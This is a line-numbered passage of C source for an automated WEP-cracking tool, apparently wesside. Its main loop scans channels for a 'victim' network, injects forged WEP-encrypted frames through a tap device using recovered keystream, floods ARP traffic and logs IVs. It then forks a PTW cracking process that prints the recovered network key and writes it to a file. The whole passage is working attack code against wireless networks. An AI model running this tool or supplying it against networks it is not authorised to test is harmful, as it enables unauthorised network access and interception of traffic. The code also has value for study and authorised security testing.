2068 				else {
2069 					// XXX lame technique... anyway... im
2070 					// only interested in flood_inet...
2071 
2072 					// could ping broadcast....
2073 					send_arp(tx, ARPOP_REQUEST, myip, mymac,
2074 						 arp_ip, "\x00\x00\x00\x00\x00\x00");
2075 				}
2076 
2077 				break;
2078 			}
2079 
2080 			break;
2081 	}
2082 }
2083 
2084 void save_key(unsigned char *key, int len)
2085 {
2086 	char tmp[16];
2087 	char k[64];
2088 	int fd;
2089 	int rd;
2090 
2091 	assert(len*3 < sizeof(k));
2092 
2093 	k[0] = 0;
2094 	while (len--) {
2095 		sprintf(tmp, "%.2X", *key++);
2096 		strcat(k, tmp);
2097 		if (len)
2098 			strcat(k, ":");
2099 	}
2100 
2101 	fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
2102 	if (fd == -1)
2103 		err(1, "open()");
2104 
2105 	printf("\nKey: %s\n", k);
2106 	rd = write(fd, k, strlen(k));
2107 	if (rd == -1)
2108 		err(1, "write()");
2109 	if (rd != strlen(k))
2110 		errx(1, "write %d/%d\n", rd, strlen(k));
2111 	close(fd);
2112 }
2113 
2114 #define KEYLIMIT (1000000)
2115 int do_crack(void)
2116 {
2117 	unsigned char key[PTW_KEYHSBYTES];
2118 
2119 	if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2120 		save_key(key, 13);
2121 		return 1;
2122 	}
2123 	if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2124 		save_key(key, 5);
2125 		return 1;
2126 	}
2127 
2128 	return 0;
2129 }
2130 
2131 void try_crack() {
2132 	if (crack_pid) {
2133 		printf("\n");
2134 		time_print("Warning... previous crack still running!\n");
2135 		kill_crack();
2136 	}
2137 
2138 	if (weplog.fd) {
2139 		if (fsync(weplog.fd) == -1)
2140 			err(1, "fsync");
2141 	}
2142 
2143 	crack_pid = fork();
2144 
2145 	if (crack_pid == -1)
2146 		err(1, "fork");
2147 
2148 	// child
2149 	if (crack_pid == 0) {
2150 		if (!do_crack())
2151 			printf("\nCrack unsuccessful\n");
2152 		exit(1);
2153 	}
2154 
2155 	// parent
2156 	printf("\n");
2157 	time_print("Starting crack PID=%d\n", crack_pid);
2158 	if (gettimeofday(&crack_start, NULL) == -1)
2159 		err(1, "gettimeofday");
2160 
2161 
2162 	wep_thresh += thresh_incr;
2163 }
2164 
2165 void open_tap() {
2166 	struct stat st;
2167 	int s;
2168 	struct ifreq ifr;
2169 	unsigned int flags;
2170 
2171 	tapfd = open(TAP_DEV, O_RDWR);
2172 	if (tapfd == -1) {
2173 		printf("Can't open tap: %s\n", strerror(errno));
2174 		exit(1);
2175 	}
2176 	if(fstat(tapfd, &st) == -1) {
2177 		perror("fstat()");
2178 		exit(1);
2179 	}
2180 
2181 	// feer
2182 	strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2183 
2184 	s = socket(PF_INET, SOCK_DGRAM, 0);
2185 	if (s == -1) {
2186 		perror("socket()");
2187 		exit(1);
2188 	}
2189 
2190 	// MTU
2191 	memset(&ifr, 0, sizeof(ifr));
2192 	strcpy(ifr.ifr_name, tapdev);
2193 	ifr.ifr_mtu = 1500;
2194 	if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2195 		perror("ioctl(SIOCSIFMTU)");
2196 		exit(1);
2197 	}
2198 
2199 	// set iface up
2200 	memset(&ifr, 0, sizeof(ifr));
2201 	strcpy(ifr.ifr_name, tapdev);
2202 	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2203 		perror("ioctl(SIOCGIFFLAGS)");
2204 		exit(1);
2205 	}
2206 
2207 	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2208 	flags |= IFF_UP;
2209 
2210 	memset(&ifr, 0, sizeof(ifr));
2211 	strcpy(ifr.ifr_name, tapdev);
2212 	ifr.ifr_flags = flags & 0xffff;
2213 	ifr.ifr_flagshigh = flags >> 16;
2214 	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2215 		perror("ioctl(SIOCSIFFLAGS)");
2216 		exit(1);
2217 	}
2218 
2219 	close(s);
2220 	time_print("Opened tap device: %s\n", tapdev);
2221 }
2222 
2223 void read_tap() {
2224 	unsigned char buf[4096];
2225 	struct ether_header* eh;
2226 	struct ieee80211_frame* wh;
2227 	int rd;
2228 	unsigned char* ptr, *body;
2229 	int dlen;
2230 
2231 	rd = read(tapfd, buf, sizeof(buf));
2232 	if (rd == -1) {
2233 		perror("read()");
2234 		exit(1);
2235 	}
2236 	dlen = rd - sizeof(*eh);
2237 
2238 	assert(dlen > 0);
2239 
2240 	if (dlen+8 > prgainfo.len) {
2241 		printf("\n");
2242 		// XXX lame message...
2243 		time_print("Sorry... want to send %d but only got %d prga\n",
2244 			   dlen, prgainfo.len);
2245 		return;
2246 
2247 	}
2248 
2249 	if (taptx_len) {
2250 		printf("\n");
2251 		time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2252 		// XXX could not read instead and get rid of it in select...
2253 	}
2254 
2255 	assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2256 
2257 	eh = (struct ether_header*) buf;
2258 
2259 	wh = (struct ieee80211_frame*) taptx;
2260 	memset(wh, 0, sizeof(*wh));
2261 	fill_basic(wh);
2262 
2263         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2264         wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2265 
2266 	memcpy(wh->i_addr2, eh->ether_shost, 6);
2267 	memcpy(wh->i_addr3, eh->ether_dhost, 6);
2268 
2269         body = (unsigned char*) wh + sizeof(*wh);
2270         ptr = body;
2271         ptr += 4; // iv
2272 
2273 	do_llc(ptr, ntohs(eh->ether_type));
2274 	ptr += 8;
2275 
2276 	memcpy(ptr, &buf[sizeof(*eh)], dlen);
2277 
2278 	wepify(body, 8+dlen);
2279 	taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2280 
2281 	assert (taptx_len < sizeof(taptx));
2282 }
2283 
2284 int elapsedd(struct timeval *past, struct timeval *now)
2285 {
2286         int el;
2287 
2288         el = now->tv_sec - past->tv_sec;
2289         assert(el >= 0);
2290         if (el == 0) {
2291                 el = now->tv_usec - past->tv_usec;
2292         } else {
2293                 el = (el - 1)*1000*1000;
2294                 el += 1000*1000-past->tv_usec;
2295                 el += now->tv_usec;
2296         }
2297 
2298         return el;
2299 }
2300 
2301 static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2302 {
2303 #define BIT(n)  (1<<(n))
2304         struct bpf_hdr *bpfh;
2305         struct ieee80211_radiotap_header *rth;
2306         uint32_t present;
2307         uint8_t rflags;
2308         void *ptr;
2309 	static int nocrc = 0;
2310 
2311 	assert(*totlen);
2312 
2313         /* bpf hdr */
2314         bpfh = (struct bpf_hdr*) (*data);
2315         assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2316         *totlen -= bpfh->bh_hdrlen;
2317 
2318         /* check if more packets */
2319         if ((int)bpfh->bh_caplen < *totlen) {
2320                 int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2321                 int offset = BPF_WORDALIGN(tot);
2322 
2323                 *data = (char*)bpfh + offset;
2324                 *totlen -= offset - tot; /* take into account align bytes */
2325         } else if ((int)bpfh->bh_caplen > *totlen)
2326                 abort();
2327 
2328         *plen = bpfh->bh_caplen;
2329         *totlen -= bpfh->bh_caplen;
2330         assert(*totlen >= 0);
2331 
2332         /* radiotap */
2333         rth = (struct ieee80211_radiotap_header*)
2334               ((char*)bpfh + bpfh->bh_hdrlen);
2335         /* XXX cache; drivers won't change this per-packet */
2336         /* check if FCS/CRC is included in packet */
2337         present = le32toh(rth->it_present);
2338         if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2339                 if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2340                         rflags = ((const uint8_t *)rth)[8];
2341                 else
2342                         rflags = ((const uint8_t *)rth)[0];
2343         } else
2344                 rflags = 0;
2345         *plen -= rth->it_len;
2346         assert(*plen > 0);
2347 
2348         /* 802.11 CRC */
2349         if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2350                 *plen -= IEEE80211_CRC_LEN;
2351                 nocrc = 1;
2352         }
2353 
2354         ptr = (char*)rth + rth->it_len;
2355 
2356         return ptr;
2357 #undef BIT
2358 }
2359 
2360 static int read_packet(int fd, unsigned char *dst, int len)
2361 {
2362 	static unsigned char buf[4096];
2363 	static int totlen = 0;
2364 	static unsigned char *next = buf;
2365         unsigned char *pkt;
2366         int plen;
2367 
2368         assert(len > 0);
2369 
2370         /* need to read more */
2371         if (totlen == 0) {
2372                 totlen = read(fd, buf, sizeof(buf));
2373                 if (totlen == -1) {
2374                         totlen = 0;
2375                         return -1;
2376                 }
2377                 next = buf;
2378         }
2379 
2380         /* read 802.11 packet */
2381         pkt = get_80211(&next, &totlen, &plen);
2382         if (plen > len)
2383                 plen = len;
2384         assert(plen > 0);
2385         memcpy(dst, pkt, plen);
2386 
2387         return plen;
2388 }
2389 
2390 void own(int wifd) {
2391 	unsigned char buf[4096];
2392 	int rd;
2393 	fd_set rfd;
2394 	struct timeval tv;
2395 	char *pbar = "/-\\|";
2396 	char *pbarp = &pbar[0];
2397 	struct timeval lasthop;
2398 	struct timeval now;
2399 	unsigned int last_wep_count = 0;
2400 	struct timeval last_wcount;
2401 	struct timeval last_status;
2402 	int fd;
2403 	int largest;
2404 
2405 	weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2406 	if (weplog.fd == -1) {
2407 		struct pcap_file_header pfh;
2408 
2409 		memset(&pfh, 0, sizeof(pfh));
2410 		pfh.magic           = TCPDUMP_MAGIC;
2411 		pfh.version_major   = PCAP_VERSION_MAJOR;
2412 		pfh.version_minor   = PCAP_VERSION_MINOR;
2413 		pfh.thiszone        = 0;
2414 		pfh.sigfigs         = 0;
2415 		pfh.snaplen         = 65535;
2416 		pfh.linktype        = LINKTYPE_IEEE802_11;
2417 
2418 		weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2419 				 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2420 		if (weplog.fd != -1) {
2421 			if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2422 				err(1, "write()");
2423 		}
2424 	}
2425 	else {
2426 		time_print("WARNING: Appending in %s\n", WEP_FILE);
2427 	}
2428 
2429 	if (weplog.fd == -1) {
2430 		perror("open()");
2431 		exit(1);
2432 	}
2433 
2434 	fd = open(PRGA_FILE, O_RDONLY);
2435 	if (fd != -1) {
2436 		time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2437 		rd = read(fd, buf, sizeof(buf));
2438 		if (rd == -1) {
2439 			perror("read()");
2440 			exit(1);
2441 		}
2442 		if (rd >= 8) {
2443 			set_prga(buf, NULL, &buf[3], rd - 3);
2444 		}
2445 
2446 		close(fd);
2447 	}
2448 
2449 	fd = open(DICT_PATH, O_RDONLY);
2450 	if (fd == -1) {
2451 		time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2452 		if (mkdir (DICT_PATH, 0755) == -1) {
2453 			perror("mkdir()");
2454 			exit(1);
2455 		}
2456 	}
2457 	else
2458 		close(fd);
2459 
2460 	open_tap();
2461 	set_if_mac(mymac, tapdev);
2462 	time_print("Set tap MAC to: %s\n", mac2str(mymac));
2463 
2464 	if (tapfd > wifd)
2465 		largest = tapfd;
2466 	else
2467 		largest = wifd;
2468 
2469 	if (signal(SIGINT, &cleanup) == SIG_ERR) {
2470 		perror("signal()");
2471 		exit(1);
2472 	}
2473 	if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2474 		perror("signal()");
2475 		exit(1);
2476 	}
2477 
2478 	time_print("Looking for a victim...\n");
2479 	if (gettimeofday(&lasthop, NULL) == -1) {
2480 		perror("gettimeofday()");
2481 		exit(1);
2482 	}
2483 
2484 	memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2485 	memcpy(&last_status, &lasthop, sizeof(last_status));
2486 
2487 	while (1) {
2488 		if (gettimeofday(&now, NULL) == -1) {
2489 			perror("gettimeofday()");
2490 			exit(1);
2491 		}
2492 
2493 		/* check for relay timeout */
2494 		if (fragstate.waiting_relay) {
2495 			int el;
2496 
2497 			el = now.tv_sec - fragstate.last.tv_sec;
2498 			assert (el >= 0);
2499 			if (el == 0) {
2500 				el = now.tv_usec - fragstate.last.tv_usec;
2501 			} else {
2502 				el--;
2503 
2504 				el *= 1000*1000;
2505 				el += 1000*1000 - fragstate.last.tv_usec;
2506 				el += now.tv_usec;
2507 
2508 				if (el > (1500*1000)) {
2509 //					printf("\nLAMER timeout\n\n");
2510 					free(fragstate.data);
2511 					fragstate.data = 0;
2512 				}
2513 			}
2514 		}
2515 
2516 		/* check for arp timeout */
2517 		if (rtrmac == (unsigned char*) 1) {
2518 			int el;
2519 
2520 			el = elapsedd(&arpsend, &now);
2521 			if (el >= (1500*1000)) {
2522 				rtrmac = 0;
2523 			}
2524 		}
2525 
2526 		// status bar
2527 		if ( (now.tv_sec > last_status.tv_sec ) ||
2528 		     ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2529 			if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2530 				check_key();
2531 			}
2532 			if (netip && prgainfo.len >= min_prga &&
2533 			    rtrmac > (unsigned char*) 1) {
2534 				time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d)         \r",
2535 				       weplog.packets, wep_thresh,
2536 				       weplog.iv[0], weplog.iv[1], weplog.iv[2],
2537 				       weplog.rate);
2538 				fflush(stdout);
2539 			}
2540 			else {
2541 				if (state == FIND_VICTIM)
2542 					time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2543 				else if (decryptstate.cipher) {
2544 					int pos = decryptstate.prgainfo.len - 1;
2545 					unsigned char prga = decryptstate.prgainfo.prga[pos];
2546 					assert(pos);
2547 
2548 					time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
2549 						   prga, decryptstate.cipher[pos] ^ prga);
2550 				}
2551 				else
2552 					time_print("%c\r", *pbarp);
2553 				fflush(stdout);
2554 			}
2555 			memcpy(&last_status, &now,sizeof(last_status));
2556 		}
2557 
2558 		// check if we are cracking
2559 		if (crack_pid) {
2560 			if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2561 				kill_crack();
2562 		}
2563 
2564 		// check TX  / retransmit
2565 		if (txstate.waiting_ack) {
2566 			unsigned int elapsed = now.tv_sec -
2567 					       txstate.tsent.tv_sec;
2568 			elapsed *= 1000*1000;
2569 			elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2570 
2571 			if (elapsed >= ack_timeout)
2572 				send_frame(wifd, NULL, -1);
2573 		}
2574 
2575 		// INPUT
2576 		// select
2577 		FD_ZERO(&rfd);
2578 		FD_SET(wifd, &rfd);
2579 		FD_SET(tapfd, &rfd);
2580 		tv.tv_sec = 0;
2581 		tv.tv_usec = 1000*10;
2582 		rd = select(largest+1, &rfd, NULL, NULL, &tv);
2583 		if (rd == -1) {
2584 			perror("select()");
2585 			exit(1);
2586 		}
2587 
2588 		// read
2589 		if (rd != 0) {
2590 			// wifi
2591 			if (FD_ISSET(wifd, &rfd)) {
2592 				rd = read_packet(wifd, buf, sizeof(buf));
2593 				if (rd == 0)
2594 					return;
2595 				if (rd == -1) {
2596 					perror("read()");
2597 					exit(1);
2598 				}
2599 
2600 				pbarp++;
2601 				if(!(*pbarp))
2602 					pbarp = &pbar[0];
2603 				// input
2604 				anal(buf, rd, wifd);
2605 			}
2606 
2607 			// tap
2608 			if (FD_ISSET(tapfd, &rfd)) {
2609 				read_tap();
2610 			}
2611 		}
2612 
2613 		// check state and what we do next.
2614 		if (state == FIND_VICTIM) {
2615 			if (now.tv_sec > lasthop.tv_sec ||
2616 			    ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2617 				int chan = chaninfo.chan;
2618 				chan++;
2619 
2620 				if(chan > max_chan)
2621 					chan = 1;
2622 
2623 				set_chan(chan);
2624 				memcpy(&lasthop, &now, sizeof(lasthop));
2625 			}
2626 		} else {
2627 		// check if we need to write something...
2628 			if (!txstate.waiting_ack)
2629 				can_write(wifd);
2630 
2631 			// roughly!
2632 
2633 #ifdef MORE_ACCURATE
2634 			if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2635 				unsigned int elapsed;
2636 				int secs;
2637 				int packetz = weplog.packets - last_wep_count;
2638 				elapsed = 1000*1000;
2639 
2640 				elapsed -= last_wcount.tv_usec;
2641 
2642 				assert(elapsed >= 0);
2643 				elapsed += now.tv_usec;
2644 
2645 				secs = now.tv_sec - last_wcount.tv_sec;
2646 				secs--;
2647 				if (secs > 0)
2648 					elapsed += (secs*1000*1000);
2649 
2650 				weplog.rate = (int)
2651 				((double)packetz/(elapsed/1000.0/1000.0));
2652 #else
2653 			if ( now.tv_sec > last_wcount.tv_sec) {
2654 				weplog.rate = weplog.packets - last_wep_count;
2655 #endif
2656 				last_wep_count = weplog.packets;
2657 				memcpy(&last_wcount, &now, sizeof(now));
2658 
2659 				if (wep_thresh != -1 && weplog.packets > wep_thresh)
2660 					try_crack();
2661 			}
2662 		}
2663 	}
2664 }
2665 
2666 void start(char *dev) {
2667 	int fd;
2668 
2669 	setup_if(dev);
2670 
2671 	fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2672 
2673 	ptw = PTW_newattackstate();
2674 	if (!ptw)
2675 		err(1, "PTW_newattackstate()");
2676 
2677 	own(fd);
2678 
2679 #if 0
2680 	{
2681 		int i;
2682 		struct timeval tv;
2683 		set_chan(11);
2684 		for (i = 0; i < 10; i++) {
2685 			gettimeofday(&tv, NULL);
2686 
2687 			send_ack(tx);
2688 //			usleep(500);
2689 			printf("%lu\n", tv.tv_usec);
2690 		}
2691 	}
2692 #endif
2693 
2694 	close(fd);
2695 }
2696 
2697 void usage(char* pname) {
2698 	printf("Usage: %s <opts>\n", pname);
2699 	printf("-h\t\tthis lame message\n");
2700 	printf("-i\t\t<iface>\n");
2701 	printf("-s\t\t<flood server ip>\n");
2702 	printf("-m\t\t<my ip>\n");
2703 	printf("-n\t\t<net ip>\n");
2704 	printf("-r\t\t<rtr mac>\n");
2705 	printf("-a\t\t<mymac>\n");
2706 	printf("-c\t\tdo not crack\n");
2707 	printf("-p\t\t<min prga>\n");
2708 	printf("-4\t\t64 bit key\n");
2709 	printf("-v\t\tvictim mac\n");
2710 	printf("-t\t\t<crack thresh>\n");
2711 	printf("-f\t\t<max chan>\n");
2712 	exit(0);
2713 }
2714 
2715 void str2mac(unsigned char* dst, unsigned char* mac) {
2716 	unsigned int macf[6];
2717 	int i;
2718 
2719 	if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2720                    &macf[0], &macf[1], &macf[2],
2721                    &macf[3], &macf[4], &macf[5]) != 6) {
2722 
2723 		   printf("can't parse mac %s\n", mac);
2724 		   exit(1);
2725 	}
2726 
2727 	for (i = 0; i < 6; i++)
2728 		*dst++ = (unsigned char) macf[i];
2729 }
2730 
2731 int main(int argc, char *argv[]) {
2732 	unsigned char* dev = "ath0";
2733 	unsigned char rtr[6];
2734 	unsigned char vic[6];
2735 
2736 	int ch;
2737 
2738 	if (gettimeofday(&real_start, NULL) == -1) {
2739 		perror("gettimeofday()");
2740 		exit(1);
2741 	}
2742 
2743 	chaninfo.s = -1;
2744 	victim.ssid = NULL;
2745 	prgainfo.len = 0;
2746 
2747 	memset(&txstate, 0, sizeof(txstate));
2748 	memset(&fragstate, 0, sizeof(fragstate));
2749 	memset(&decryptstate, 0, sizeof(decryptstate));
2750 	memset(&weplog, 0, sizeof(weplog));
2751 
2752 	state = FIND_VICTIM;
2753 
2754 	while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2755 		switch (ch) {
2756 			case 'a':
2757 				str2mac(mymac, optarg);
2758 				break;
2759 
2760 			case 's':
2761 				floodip = optarg;
2762 				break;
2763 
2764 			case 'i':
2765 				dev = optarg;
2766 				break;
2767 
2768 			case 'm':
2769 				strncpy(myip, optarg, sizeof(myip)-1);
2770 				myip[sizeof(myip)-1] = 0;
2771 				break;
2772 
2773 			case 'n':
2774 				netip = optarg;
2775 				netip_arg = 1;
2776 				break;
2777 
2778 			case 'r':
2779 				str2mac(rtr, optarg);
2780 				rtrmac = rtr;
2781 				break;
2782 
2783 			case 'v':
2784 				str2mac(vic, optarg);
2785 				victim_mac = vic;
2786 				break;
2787 
2788 			case 'c':
2789 				wep_thresh = -1;
2790 				break;
2791 
2792 			case 'p':
2793 				min_prga = atoi(optarg);
2794 				break;
2795 
2796 			case 't':
2797 				thresh_incr = wep_thresh = atoi(optarg);
2798 				break;
2799 
2800 			case 'f':
2801 				max_chan = atoi(optarg);
2802 				break;
2803 
2804 			case '4':
2805 				bits = 64;
2806 				break;
2807 
2808 			default:
2809 				usage(argv[0]);
2810 				break;
2811 		}
2812 	}
2813 
2814 	start(dev);
2815 
2816 	if(chaninfo.s != -1)
2817 		close(chaninfo.s);
2818 	if(victim.ssid)
2819 		free(victim.ssid);
2820 	exit(0);
2821 }
2822